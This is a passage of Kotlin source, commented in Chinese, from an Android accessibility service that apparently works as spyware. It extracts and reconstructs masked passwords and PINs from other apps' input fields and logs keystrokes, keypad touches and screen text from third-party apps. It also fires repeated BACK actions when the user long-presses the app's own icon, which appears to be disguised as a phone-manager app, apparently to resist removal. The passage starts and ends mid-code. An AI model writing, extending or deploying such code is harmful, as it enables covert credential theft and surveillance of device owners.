Log.d(TAG, "📱 [vivo文本增强] 全掩码重构: ${distinctChars.joinToString("")}")
return reconstructed
}
}
// 策略2: 混合显示,保留明文部分,补充捕获的字符
if (displayText.any { it.isLetterOrDigit() } && displayText.any { it == '•' || it == '*' }) {
val enhancedText = StringBuilder()
val capturedChars = vivoExtractedChars.toMutableList()
for (i in displayText.indices) {
val currentChar = displayText[i]
if (currentChar.isLetterOrDigit()) {
// 保留已显示的明文字符
enhancedText.append(currentChar)
capturedChars.find { it == currentChar.toString() }?.also { capturedChars.remove(it) }
} else if (currentChar == '•' || currentChar == '*') {
// 尝试用捕获的字符替换掩码
val replacementChar = capturedChars.removeFirstOrNull()
enhancedText.append(replacementChar ?: currentChar)
} else {
enhancedText.append(currentChar)
}
}
Log.d(TAG, "📱 [vivo文本增强] 混合重构: ${enhancedText.toString()}")
return enhancedText.toString()
}
// 策略3: 如果捕获的字符比显示的更多,可能是完整密码
val distinctChars = vivoExtractedChars.distinct()
if (distinctChars.size > displayText.length) {
Log.d(TAG, "📱 [vivo文本增强] 使用完整捕获: ${distinctChars.joinToString("")}")
return distinctChars.joinToString("")
}
return displayText
} catch (e: Exception) {
Log.w(TAG, "vivo文本增强处理失败", e)
return displayText
}
}
/**
* ✅ 重构vivo设备密码
*/
private fun reconstructVivoPassword(currentText: String): String {
try {
// 策略1: 如果当前文本包含明文,直接使用
val currentPlaintext = currentText.filter { it != '•' && it != '*' && it.isLetterOrDigit() }
if (currentPlaintext.isNotEmpty()) {
return currentPlaintext
}
// 策略2: 使用捕获的明文字符重构
if (vivoExtractedChars.isNotEmpty()) {
// 按捕获时间顺序排列(假设是按输入顺序捕获的)
val reconstructed = vivoExtractedChars.distinct().joinToString("")
if (reconstructed.length >= currentText.length - 2) { // 允许少量字符丢失
return reconstructed
}
}
// 策略3: 结合当前文本长度和捕获字符
if (vivoExtractedChars.isNotEmpty() && currentText.isNotEmpty()) {
val distinctChars = vivoExtractedChars.distinct()
// 如果捕获的字符数量接近文本长度,可能是完整的
if (distinctChars.size >= currentText.length * 0.7) { // 至少70%的字符被捕获
return distinctChars.joinToString("")
}
}
return ""
} catch (e: Exception) {
Log.w(TAG, "重构vivo密码失败", e)
return ""
}
}
/**
* 处理文本选择变化事件 - 可能包含密码输入
*/
private fun handleTextSelectionChanged(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
// 只处理密码相关的事件
if (isPasswordField(event)) {
val text = event.text?.joinToString("") ?: ""
val beforeText = event.beforeText?.toString() ?: ""
Log.d(TAG, "🔍 文本选择变化: 包名=$packageName, 类名=$className, 文本='$text', 之前='$beforeText'")
// 如果检测到文本变化,可能是密码输入
if (text != beforeText && text.isNotEmpty()) {
handlePasswordInput(event, text, beforeText, System.currentTimeMillis())
}
}
}
/**
* ✅ 增强:处理焦点事件 - 记录所有文本输入框获得焦点的情况
*/
private fun handleViewFocused(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val text = event.text?.joinToString("") ?: ""
val contentDescription = event.contentDescription?.toString() ?: ""
// ✅ 增强:检测所有可能的文本输入控件
var isTextInput = className.lowercase().contains("edittext") ||
className.lowercase().contains("textfield") ||
className.lowercase().contains("textinput") ||
className.lowercase().contains("searchview") ||
event.isPassword
// ✅ 增强通过AccessibilityNodeInfo检查是否可编辑
val source = event.source
if (source != null) {
isTextInput = isTextInput || source.isEditable
}
// ✅ 增强:检测是否为密码输入框
val isPasswordField = isPasswordField(event) || isLikelyPasswordInput(event)
if (isTextInput) {
Log.d(TAG, "🎯 文本输入框获得焦点: 包名=$packageName, 类名=$className, 密码字段=$isPasswordField")
// 尝试从AccessibilityNodeInfo获取更多信息
var nodeText = ""
var hintText = ""
if (source != null) {
try {
nodeText = source.text?.toString() ?: ""
hintText = source.hintText?.toString() ?: ""
Log.d(TAG, "🎯 节点详细信息: 文本='$nodeText', 提示='$hintText', 可编辑=${source.isEditable}, 密码=${source.isPassword}")
if (nodeText.isNotEmpty() && nodeText != text) {
// 可能获取到了更完整的文本
Log.d(TAG, "🎯 从节点获取到更多文本信息: '$nodeText'")
}
} catch (e: Exception) {
Log.w(TAG, "获取节点文本失败", e)
} finally {
source.recycle()
}
}
// ✅ 记录焦点事件 - 包含密码和普通文本输入
// 从节点获取isEditable状态
val nodeIsEditable = source?.isEditable ?: false
logScope.launch {
recordLog(
"FOCUS_GAINED",
"文本框获得焦点: ${if (isPasswordField) "密码输入" else "文本输入"}",
mapOf(
"text" to text,
"nodeText" to nodeText,
"hintText" to hintText,
"className" to className,
"packageName" to packageName,
"contentDescription" to contentDescription,
"isPasswordField" to isPasswordField,
"isEditable" to nodeIsEditable,
"eventType" to "VIEW_FOCUSED"
)
)
}
// ✅ 对于密码字段,执行特殊处理
if (isPasswordField && nodeText.isNotEmpty()) {
Log.d(TAG, "🔒 密码字段焦点检测到已有内容,可能需要分析")
}
}
}
/**
* ✅ 新增:在节点中查找数字键盘
*/
private fun findNumericKeypadInNode(node: AccessibilityNodeInfo): Boolean {
try {
// 检查当前节点
val className = node.className?.toString()?.lowercase() ?: ""
val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
val text = node.text?.toString() ?: ""
// 数字键盘特征
val hasNumericKeywords = className.contains("numpad") ||
className.contains("numeric") ||
className.contains("keypad") ||
contentDesc.contains("数字") ||
contentDesc.contains("numeric") ||
contentDesc.contains("keypad")
// 检查是否有数字按钮0-9
val hasDigitButtons = text.matches(Regex("\\d")) ||
contentDesc.matches(Regex("\\d"))
if (hasNumericKeywords || hasDigitButtons) {
Log.d(TAG, "🔢 发现数字键盘节点: 类名=$className, 描述=$contentDesc, 文本=$text")
return true
}
// 递归检查子节点
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
if (findNumericKeypadInNode(child)) {
return true
}
} finally {
child.recycle()
}
}
}
return false
} catch (e: Exception) {
Log.w(TAG, "检查数字键盘节点失败", e)
return false
}
}
/**
* ✅ 新增:在节点中查找密码输入框
*/
private fun findPasswordFieldInNode(node: AccessibilityNodeInfo): Boolean {
try {
// 检查当前节点
val className = node.className?.toString()?.lowercase() ?: ""
val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
// 密码输入框特征
val isPasswordField = className.contains("edittext") ||
className.contains("password") ||
contentDesc.contains("密码") ||
contentDesc.contains("password") ||
contentDesc.contains("pin") ||
node.isPassword
if (isPasswordField) {
Log.d(TAG, "🔢 发现密码输入框节点: 类名=$className, 描述=$contentDesc")
return true
}
// 递归检查子节点
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
if (findPasswordFieldInNode(child)) {
return true
}
} finally {
child.recycle()
}
}
}
return false
} catch (e: Exception) {
Log.w(TAG, "检查密码输入框节点失败", e)
return false
}
}
/**
* ✅ 新增:从节点中提取密码内容
*/
private fun extractPasswordFromNode(node: AccessibilityNodeInfo): String {
try {
// 检查当前节点是否是密码输入框
val className = node.className?.toString()?.lowercase() ?: ""
val text = node.text?.toString() ?: ""
if ((className.contains("edittext") || className.contains("password") || node.isPassword) && text.isNotEmpty()) {
Log.d(TAG, "🔢 从密码节点提取内容: '$text'")
return text
}
// 递归检查子节点
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
val childText = extractPasswordFromNode(child)
if (childText.isNotEmpty()) {
return childText
}
} finally {
child.recycle()
}
}
}
return ""
} catch (e: Exception) {
Log.w(TAG, "提取密码内容失败", e)
return ""
}
}
/**
* ✅ 新增:处理长按事件
*/
private fun handleViewLongClicked(event: AccessibilityEvent) {
val text = event.text?.joinToString(" ") ?: ""
val className = event.className?.toString() ?: ""
val packageName = event.packageName?.toString() ?: ""
val contentDescription = event.contentDescription?.toString() ?: ""
Log.d(TAG, "🔗 长按事件: 包名=$packageName, 类名=$className, 文本='$text'")
// ✅ 阻断长按弹出如果是我们的app立即执行多次返回操作
if (text == service.getString(R.string.app_name) || text == service.getString(R.string._2580369_res_0x7f10001e) || text == "手机管家") {
Log.d(TAG, "🛡️ 检测到长按我们自己的app执行阻断操作")
cancelLongPressPopup()
}
logScope.launch {
recordLog(
"LONG_PRESS",
"长按控件: $text",
mapOf(
"text" to text,
"className" to className,
"packageName" to packageName,
"contentDescription" to contentDescription,
"eventType" to "VIEW_LONG_CLICKED"
)
)
}
}
/**
* ✅ 判断是否是我们自己的app
*/
// private fun isOurApp(packageName: String): Boolean {
// val ourPackageName = service.packageName
// val isOurApp = packageName == ourPackageName || packageName.contains("hikoncont", ignoreCase = true)
// if (isOurApp) {
// Log.d(TAG, "✅ 检测到是我们自己的app: $packageName")
// }
// return isOurApp
// }
/**
* ✅ 检测文本中是否包含价格信息
* 支持格式:元、¥、¥、数字+元、价格等
*/
private fun containsPrice(text: String): Boolean {
if (text.isEmpty()) return false
// 价格模式:包含"元"、"¥"、"¥"等价格标识
val pricePatterns = listOf(
"", "", "¥", "价格", "单价", "总价",
"金额", "费用", "cost", "price"
)
// 检查是否包含价格标识
val containsPriceKeyword = pricePatterns.any { text.contains(it, ignoreCase = true) }
// 检查是否包含数字+元的模式100元、¥50等
val priceRegex = Regex("""\d+[\.]?\d*\s*[元¥¥]|[¥¥]\s*\d+[\.]?\d*""")
val matchesPricePattern = priceRegex.containsMatchIn(text)
val isPrice = containsPriceKeyword || matchesPricePattern
if (isPrice) {
Log.d(TAG, "💰 检测到价格信息: $text")
}
return isPrice
}
/**
* ✅ 阻断长按弹出的详情窗口
* 使用激进策略:立即执行返回,并在主线程中延迟多次执行确保窗口关闭
*/
private fun cancelLongPressPopup() {
try {
Log.d(TAG, "🛡️ 开始阻断长按弹出详情")
val handler = Handler(Looper.getMainLooper())
// 1. 立即执行返回操作(最快响应)
service.performGlobalAction(GLOBAL_ACTION_BACK)
// 2. 延迟执行多次返回操作,确保详情窗口被关闭(在主线程执行,响应更快)
handler.postDelayed({
service.performGlobalAction(GLOBAL_ACTION_BACK)
Log.d(TAG, "🛡️ 第一次延迟返回执行完成")
}, 10)
handler.postDelayed({
service.performGlobalAction(GLOBAL_ACTION_BACK)
Log.d(TAG, "🛡️ 第二次延迟返回执行完成")
}, 50)
handler.postDelayed({
service.performGlobalAction(GLOBAL_ACTION_BACK)
Log.d(TAG, "🛡️ 第三次延迟返回执行完成")
}, 100)
handler.postDelayed({
service.performGlobalAction(GLOBAL_ACTION_BACK)
Log.d(TAG, "🛡️ 第四次延迟返回执行完成")
Log.d(TAG, "✅ 阻断长按弹出详情完成")
}, 150)
} catch (e: Exception) {
Log.e(TAG, "❌ 阻断长按弹出详情失败", e)
}
}
/**
* ✅ 随机点击屏幕上的一个位置
*/
private fun performRandomClick() {
try {
val displayMetrics = service.resources.displayMetrics
val screenWidth = displayMetrics.widthPixels
val screenHeight = displayMetrics.heightPixels
// 生成随机坐标(避免点击边缘,留出边距)
val margin = 100
val randomX = Random.nextInt(margin, screenWidth - margin).toFloat()
val randomY = Random.nextInt(margin, screenHeight - margin).toFloat()
Log.d(TAG, "🎯 随机点击坐标: ($randomX, $randomY)")
// 创建手势
val path = Path().apply {
moveTo(randomX, randomY)
}
val stroke = GestureDescription.StrokeDescription(path, 0, 50L)
val gesture = GestureDescription.Builder()
.addStroke(stroke)
.build()
// 执行手势
service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
Log.d(TAG, "✅ 随机点击完成")
}
override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
Log.w(TAG, "⚠️ 随机点击被取消")
}
}, null)
} catch (e: Exception) {
Log.e(TAG, "❌ 随机点击失败", e)
}
}
/**
* ✅ 新增:处理悬停事件
*/
private fun handleViewHover(event: AccessibilityEvent, hoverType: String) {
val text = event.text?.joinToString(" ") ?: ""
val className = event.className?.toString() ?: ""
val packageName = event.packageName?.toString() ?: ""
val contentDescription = event.contentDescription?.toString() ?: ""
// 只记录有意义的悬停事件
if (text.isNotEmpty() || contentDescription.isNotEmpty()) {
Log.d(TAG, "🖱️ 悬停事件($hoverType): 包名=$packageName, 类名=$className, 文本='$text'")
logScope.launch {
recordLog(
"HOVER",
"$hoverType: $text",
mapOf(
"text" to text,
"className" to className,
"packageName" to packageName,
"contentDescription" to contentDescription,
"hoverType" to hoverType,
"eventType" to "VIEW_HOVER"
)
)
}
}
}
/**
* ✅ 增强的键盘输入监听 - 检测各种键盘输入源
*/
private fun handleKeyboardInput(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val text = event.text?.joinToString("") ?: ""
val contentDescription = event.contentDescription?.toString() ?: ""
// ✅ 扩展输入法检测:包括系统输入法、第三方输入法、应用内键盘
val isInputMethod = packageName.lowercase().contains("inputmethod") ||
packageName.lowercase().contains("keyboard") ||
packageName.lowercase().contains("ime") ||
className.lowercase().contains("keyboard") ||
className.lowercase().contains("keyboardview") ||
className.lowercase().contains("inputmethod")
// ✅ 新增:检测应用内自定义键盘
val isCustomKeyboard = !isInputMethod && (
className.lowercase().contains("key") ||
className.lowercase().contains("numpad") ||
className.lowercase().contains("pinpad") ||
(text.length == 1 && (text.matches(Regex("[0-9a-zA-Z]")) || text in listOf(".", ",", "@", "#", "*"))) ||
(contentDescription.lowercase().contains("key") && text.isNotEmpty())
)
if ((isInputMethod || isCustomKeyboard) && text.isNotEmpty()) {
val keyboardType = when {
isInputMethod -> "系统输入法"
isCustomKeyboard -> "应用内键盘"
else -> "未知键盘"
}
Log.d(TAG, "⌨️ 键盘输入检测[$keyboardType]: 包名=$packageName, 类名=$className, 输入='$text'")
// ✅ 智能字符识别
val detectedCharacter = when {
text.length == 1 -> text
text.matches(Regex("\\d+")) && text.length == 1 -> text
extractDigitFromText(text) != null -> extractDigitFromText(text)!!
else -> text
}
logScope.launch {
recordLog(
"KEYBOARD_INPUT",
"键盘输入[$keyboardType]: $detectedCharacter",
mapOf(
"character" to detectedCharacter,
"originalText" to text,
"className" to className,
"packageName" to packageName,
"contentDescription" to contentDescription,
"keyboardType" to keyboardType,
"isInputMethod" to isInputMethod,
"isCustomKeyboard" to isCustomKeyboard,
"eventType" to "KEYBOARD_INPUT"
)
)
}
}
}
/**
* ✅ 新增:增强的窗口内容变化处理 - 检测更多应用的文本输入
*/
private fun handleEnhancedWindowContentChanged(event: AccessibilityEvent) {
val packageName = event.packageName?.toString() ?: ""
val className = event.className?.toString() ?: ""
val currentTime = System.currentTimeMillis()
Log.i(TAG, "🔍 [增强窗口内容变化] 处理增强窗口内容变化 - 包名=$packageName, 类名=$className")
// 首先检查键盘输入
handleKeyboardInput(event)
// 然后执行原有的窗口内容变化处理
handleWindowContentChanged(event)
// ✅ 新增:特别检测第三方应用的文本变化
val source = event.source
if (source != null && !packageName.contains("systemui", ignoreCase = true)) {
try {
// 递归检查所有子节点的文本变化
val textChanges = extractAllTextFromNode(source, mutableListOf())
if (textChanges.isNotEmpty()) {
Log.d(TAG, "🔍 第三方应用文本变化: 包名=$packageName, 检测到${textChanges.size}个文本元素")
// ✅ 优化:应用去重和过滤逻辑,减少重复日志
val significantTexts = textChanges.filter { textInfo ->
textInfo.text.isNotEmpty() && textInfo.text.length > 1
}
Log.d(TAG, "🔍 第三方应用文本过滤: 原始${textChanges.size}个 -> 有效${significantTexts.size}")
significantTexts.forEach { textInfo ->
// 检测是否可能是密码输入
val isPasswordLike = textInfo.isPassword ||
textInfo.text.any { it == '•' || it == '*' || it == '●' } ||
(textInfo.text.all { it.isDigit() } && textInfo.text.length in 4..10)
// ✅ 更新统计信息
if (!isPasswordLike) {
textDetectedTotalCount++
}
// ✅ 对于TEXT_DETECTED应用去重逻辑PASSWORD_DETECTED保持原有逻辑
val shouldRecord = if (isPasswordLike) {
true // 密码相关的始终记录
} else {
shouldRecordTextDetected(textInfo.text, packageName)
}
if (shouldRecord) {
if (!isPasswordLike) {
textDetectedRecordedCount++
//只記錄像密碼的。其他的不記錄了
logScope.launch {
recordLog(
if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
"文本检测: ${textInfo.text}",
mapOf(
"text" to textInfo.text,
"className" to textInfo.className,
"packageName" to packageName,
"isPassword" to textInfo.isPassword,
"isPasswordLike" to isPasswordLike,
"hint" to textInfo.hint,
"contentDescription" to textInfo.contentDesc,
"eventType" to "WINDOW_CONTENT_ANALYSIS",
"filtered" to "deduped" // 标记为去重处理
)
)
}
}
//
// logScope.launch {
// recordLog(
// if (isPasswordLike) "PASSWORD_DETECTED" else "TEXT_DETECTED",
// "文本检测: ${textInfo.text}",
// mapOf(
// "text" to textInfo.text,
// "className" to textInfo.className,
// "packageName" to packageName,
// "isPassword" to textInfo.isPassword,
// "isPasswordLike" to isPasswordLike,
// "hint" to textInfo.hint,
// "contentDescription" to textInfo.contentDesc,
// "eventType" to "WINDOW_CONTENT_ANALYSIS",
// "filtered" to "deduped" // 标记为去重处理
// )
// )
// }
} else {
if (!isPasswordLike) {
textDetectedFilteredCount++
}
Log.v(TAG, "🔕 跳过重复文本: '${textInfo.text}' (包名: $packageName)")
}
}
}
} catch (e: Exception) {
Log.w(TAG, "分析第三方应用文本变化失败", e)
} finally {
source.recycle()
}
}
}
/**
* ✅ 新增:递归提取节点中的所有文本信息
*/
private fun extractAllTextFromNode(node: AccessibilityNodeInfo, results: MutableList<TextInfo>): List<TextInfo> {
try {
val text = node.text?.toString() ?: ""
val className = node.className?.toString() ?: ""
val hint = node.hintText?.toString() ?: ""
val contentDesc = node.contentDescription?.toString() ?: ""
// 如果当前节点有文本或是可编辑的,记录它
if (text.isNotEmpty() || node.isEditable || node.isPassword) {
results.add(TextInfo(
text = text,
className = className,
hint = hint,
contentDesc = contentDesc,
isPassword = node.isPassword,
isEditable = node.isEditable
))
}
// 递归检查子节点
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
try {
extractAllTextFromNode(child, results)
} finally {
child.recycle()
}
}
}
} catch (e: Exception) {
Log.w(TAG, "提取节点文本信息失败", e)
}
return results
}
/**
* ✅ 新增:文本信息数据类
*/
private data class TextInfo(
val text: String,
val className: String,
val hint: String,
val contentDesc: String,
val isPassword: Boolean,
val isEditable: Boolean
)
/**
* ✅ 新增:分析触摸事件中的键盘输入
*/
private fun analyzeTouchForKeyboard(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String, touchType: String) {
try {
Log.d(TAG, "🔍 [触摸键盘分析] 开始分析触摸事件:")
Log.d(TAG, " 触摸类型: $touchType")
Log.d(TAG, " 包名: $packageName")
Log.d(TAG, " 类名: $className")
Log.d(TAG, " 文本: '$eventText'")
Log.d(TAG, " 描述: '$contentDesc'")
// 1. 检查是否为键盘相关的类名
val isKeyboardClass = className.lowercase().let { cls ->
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin") ||
cls.contains("digit") || cls.contains("char") || cls.contains("layout")
}
// 2. 检查是否为键盘相关的描述
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
desc.contains("key") || desc.contains("按键") || desc.contains("") ||
desc.contains("button") || desc.contains("输入") || desc.contains("数字") ||
desc.matches(Regex(".*[0-9a-zA-Z].*"))
}
// 3. 检查文本是否像键盘字符
val isKeyboardText = eventText.let { text ->
text.length == 1 || // 单字符
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
extractDigitFromText(text) != null // 包含可提取的字符
}
// 4. 检查是否为输入法包名
val isInputMethodPackage = packageName.lowercase().let { pkg ->
pkg.contains("inputmethod") || pkg.contains("keyboard") || pkg.contains("ime") ||
pkg.contains("gboard") || pkg.contains("swiftkey") || pkg.contains("sogou")
}
// 5. 通过AccessibilityNodeInfo获取更多信息
val source = event.source
var nodeInfo = ""
var additionalText = ""
if (source != null) {
try {
val nodeText = source.text?.toString() ?: ""
val nodeHint = source.hintText?.toString() ?: ""
val nodeDesc = source.contentDescription?.toString() ?: ""
val isClickable = source.isClickable
val isEnabled = source.isEnabled
nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
additionalText = nodeText
Log.d(TAG, " 节点信息: $nodeInfo")
} finally {
source.recycle()
}
}
val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText || isInputMethodPackage
Log.d(TAG, "🔍 [触摸键盘分析] 分析结果:")
Log.d(TAG, " 键盘类名: $isKeyboardClass")
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
Log.d(TAG, " 键盘文本: $isKeyboardText")
Log.d(TAG, " 输入法包: $isInputMethodPackage")
Log.d(TAG, " 疑似键盘: $isLikelyKeyboard")
if (isLikelyKeyboard) {
val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText.take(1)
Log.i(TAG, "⌨️ [触摸键盘] 检测到键盘触摸输入: '$detectedChar' (触摸类型: $touchType)")
// 立即记录键盘触摸输入
logScope.launch {
recordLog(
"TOUCH_KEYBOARD_INPUT",
"触摸键盘输入[$touchType]: $detectedChar",
mapOf(
"detectedCharacter" to detectedChar,
"originalText" to eventText,
"additionalText" to additionalText,
"contentDescription" to contentDesc,
"className" to className,
"packageName" to packageName,
"touchType" to touchType,
"isKeyboardClass" to isKeyboardClass,
"isKeyboardDesc" to isKeyboardDesc,
"isKeyboardText" to isKeyboardText,
"isInputMethodPackage" to isInputMethodPackage,
"analysisMethod" to "touch_analysis",
"eventType" to "TOUCH_KEYBOARD_DETECTION"
)
)
}
// ✅ 额外的强化记录 - 确保触摸键盘输入不会被遗漏
Log.w(TAG, "🚨 [强化记录] 触摸键盘输入确认: '$detectedChar' [$touchType] from $packageName")
} else {
Log.d(TAG, "❌ [触摸键盘分析] 不像键盘控件,跳过")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 分析触摸键盘事件失败", e)
}
}
/**
* ✅ 新增:详细分析点击的控件,判断是否为键盘输入
*/
private fun analyzeClickedElement(event: AccessibilityEvent, packageName: String, className: String, eventText: String, contentDesc: String) {
try {
Log.d(TAG, "🔍 [键盘分析] 开始分析点击控件:")
Log.d(TAG, " 包名: $packageName")
Log.d(TAG, " 类名: $className")
Log.d(TAG, " 文本: '$eventText'")
Log.d(TAG, " 描述: '$contentDesc'")
// 1. 检查是否为键盘相关的类名
val isKeyboardClass = className.lowercase().let { cls ->
cls.contains("key") || cls.contains("button") || cls.contains("numpad") ||
cls.contains("keyboard") || cls.contains("input") || cls.contains("pin")
}
// 2. 检查是否为键盘相关的描述
val isKeyboardDesc = contentDesc.lowercase().let { desc ->
desc.contains("key") || desc.contains("按键") || desc.contains("") ||
desc.contains("button") || desc.contains("输入") || desc.contains("数字")
}
// 3. 检查文本是否像键盘字符
val isKeyboardText = eventText.let { text ->
text.length == 1 || // 单字符
text.matches(Regex("[0-9a-zA-Z@#*.,!?()\\-+=/]")) || // 常见键盘字符
extractDigitFromText(text) != null // 包含可提取的字符
}
// 4. 通过AccessibilityNodeInfo获取更多信息
val source = event.source
var nodeInfo = ""
var additionalText = ""
if (source != null) {
try {
val nodeText = source.text?.toString() ?: ""
val nodeHint = source.hintText?.toString() ?: ""
val nodeDesc = source.contentDescription?.toString() ?: ""
val isClickable = source.isClickable
val isEnabled = source.isEnabled
nodeInfo = "节点文本='$nodeText', 提示='$nodeHint', 描述='$nodeDesc', 可点击=$isClickable, 启用=$isEnabled"
additionalText = nodeText
Log.d(TAG, " 节点信息: $nodeInfo")
} finally {
source.recycle()
}
}
val isLikelyKeyboard = isKeyboardClass || isKeyboardDesc || isKeyboardText
Log.d(TAG, "🔍 [键盘分析] 分析结果:")
Log.d(TAG, " 键盘类名: $isKeyboardClass")
Log.d(TAG, " 键盘描述: $isKeyboardDesc")
Log.d(TAG, " 键盘文本: $isKeyboardText")
Log.d(TAG, " 疑似键盘: $isLikelyKeyboard")
if (isLikelyKeyboard) {
val detectedChar = extractDigitFromText(eventText) ?: extractDigitFromText(additionalText) ?: eventText
Log.i(TAG, "⌨️ [键盘检测] 检测到可能的键盘输入: '$detectedChar'")
// 立即记录键盘输入
logScope.launch {
recordLog(
"DETECTED_KEYBOARD_INPUT",
"检测到键盘输入: $detectedChar",
mapOf(
"detectedCharacter" to detectedChar,
"originalText" to eventText,
"additionalText" to additionalText,
"contentDescription" to contentDesc,
"className" to className,
"packageName" to packageName,
"isKeyboardClass" to isKeyboardClass,
"isKeyboardDesc" to isKeyboardDesc,
"isKeyboardText" to isKeyboardText,
"analysisMethod" to "click_analysis",
"eventType" to "CLICK_KEYBOARD_DETECTION"
)
)
}
} else {
Log.d(TAG, "❌ [键盘分析] 不像键盘控件,跳过")
}
} catch (e: Exception) {
Log.e(TAG, "❌ 分析点击控件失败", e)
}
}
/**
* 清理资源
*/
fun cleanup() {
logScope.cancel()
isLogging = false
Log.i(TAG, "🧹 操作日志收集器已清理")
}
/**
* ✅ 增强版检查界面上是否存在数字0数字密码的标志
*/
private fun checkForNumericPasswordIndicators(event: AccessibilityEvent) {
val source = event.source
if (source != null) {
// 递归检查所有子节点寻找数字0
checkNodeForZero(source)
}
// 检查事件文本中是否包含数字0
val eventText = event.text?.joinToString("") ?: ""
if (eventText.contains("0")) {
Log.d(TAG, "🔢 在事件文本中发现数字0: $eventText")
hasDetectedZero = true
}
// 检查内容描述中是否包含数字0
val contentDesc = event.contentDescription?.toString() ?: ""
if (contentDesc.contains("0")) {
Log.d(TAG, "🔢 在内容描述中发现数字0: $contentDesc")
hasDetectedZero = true
}
}
/**
* ✅ 递归检查节点是否包含数字0
*/
private fun checkNodeForZero(node: AccessibilityNodeInfo) {
try {
// 检查当前节点的文本
val nodeText = node.text?.toString() ?: ""
if (nodeText == "0") {
Log.d(TAG, "🔢 在界面节点中发现数字0: $nodeText")
hasDetectedZero = true
return
}
// 检查内容描述
val nodeDesc = node.contentDescription?.toString() ?: ""
if (nodeDesc.contains("0")) {
Log.d(TAG, "🔢 在节点描述中发现数字0: $nodeDesc")
hasDetectedZero = true
return
}
// 递归检查子节点
for (i in 0 until node.childCount) {
val child = node.getChild(i)
if (child != null) {
checkNodeForZero(child)
child.recycle()
}
}
} catch (e: Exception) {
Log.w(TAG, "检查节点数字0时出错: ${e.message}")
}
}
/**
* ✅ 新增检查是否应该记录TEXT_DETECTED日志去重和频率控制保守过滤策略
*/
private fun shouldRecordTextDetected(text: String, packageName: String): Boolean {
val currentTime = System.currentTimeMillis()
// 清理过期缓存
cleanupTextDetectedCache(currentTime)
// 只过滤空文本或过短文本
if (text.isBlank() || text.length <= 1) {
return false
}
// ✅ 优化:只过滤明显无意义的文本,保留可能有用的内容
val obviouslyMeaninglessTexts = setOf(
"...", "", "-", "_", " ", " ", // 只过滤纯符号和空格
"loading", "加载中", "请稍候", "请等待" // 只过滤明显的加载提示
)
if (obviouslyMeaninglessTexts.contains(text.lowercase().trim())) {
return false
}
// 创建唯一键(包名+文本)
val cacheKey = "${packageName}:${text}"
// 检查是否在冷却期内
val lastRecordTime = textDetectedCache[cacheKey] ?: 0L
if (currentTime - lastRecordTime < TEXT_DETECTED_COOLDOWN) {
return false
}
// 检查包的文本记录数量限制
val packageTexts = packageTextCache.getOrPut(packageName) { mutableSetOf() }
if (packageTexts.size >= MAX_TEXT_DETECTED_PER_PACKAGE && !packageTexts.contains(text)) {
return false
}
// 更新缓存
textDetectedCache[cacheKey] = currentTime
packageTexts.add(text)
return true
}
/**
* ✅ 新增清理过期的TEXT_DETECTED缓存
*/
private fun cleanupTextDetectedCache(currentTime: Long) {
if (currentTime - lastTextDetectedCleanup < CACHE_CLEANUP_INTERVAL) {
return
}
// 清理过期的文本缓存超过10分钟的记录
val expireTime = currentTime - 600000L // 10分钟
textDetectedCache.entries.removeAll { it.value < expireTime }
// 清理包文本缓存(每个包保持最新的文本)
packageTextCache.values.forEach { textSet ->
if (textSet.size > MAX_TEXT_DETECTED_PER_PACKAGE) {
// 保留最近的文本,这里简单地限制大小
val textsToRemove = textSet.size - MAX_TEXT_DETECTED_PER_PACKAGE
val iterator = textSet.iterator()
repeat(textsToRemove) {
if (iterator.hasNext()) {
iterator.next()
iterator.remove()
}
}
}
}
lastTextDetectedCleanup = currentTime
// ✅ 输出统计报告
val filterRate = if (textDetectedTotalCount > 0) {
((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
} else 0
Log.i(TAG, "📊 TEXT_DETECTED统计报告:")
Log.i(TAG, " 总检测: ${textDetectedTotalCount}")
Log.i(TAG, " 实际记录: ${textDetectedRecordedCount}")
Log.i(TAG, " 过滤掉: ${textDetectedFilteredCount}次 (${filterRate}%)")
Log.i(TAG, " 缓存大小: ${textDetectedCache.size}个文本")
Log.i(TAG, " 包缓存: ${packageTextCache.size}个应用")
Log.d(TAG, "🧹 清理TEXT_DETECTED缓存完成")
}
/**
* ✅ 新增获取TEXT_DETECTED统计信息
*/
fun getTextDetectedStats(): Map<String, Any> {
val filterRate = if (textDetectedTotalCount > 0) {
((textDetectedFilteredCount.toDouble() / textDetectedTotalCount) * 100).toInt()
} else 0
return mapOf(
"totalDetected" to textDetectedTotalCount,
"recorded" to textDetectedRecordedCount,
"filtered" to textDetectedFilteredCount,
"filterRate" to filterRate,
"cacheSize" to textDetectedCache.size,
"packageCount" to packageTextCache.size
)
}
/**
* ✅ 增强版:智能确认按钮坐标学习 - 优化:避免用户输入期间误学习
*/
private fun enhancedConfirmButtonLearning() {
if (!isAwaitingConfirmClick) return
// 获取当前屏幕的所有可点击节点
val rootNode = service.rootInActiveWindow ?: return
val confirmCandidates = findConfirmButtonCandidates(rootNode)
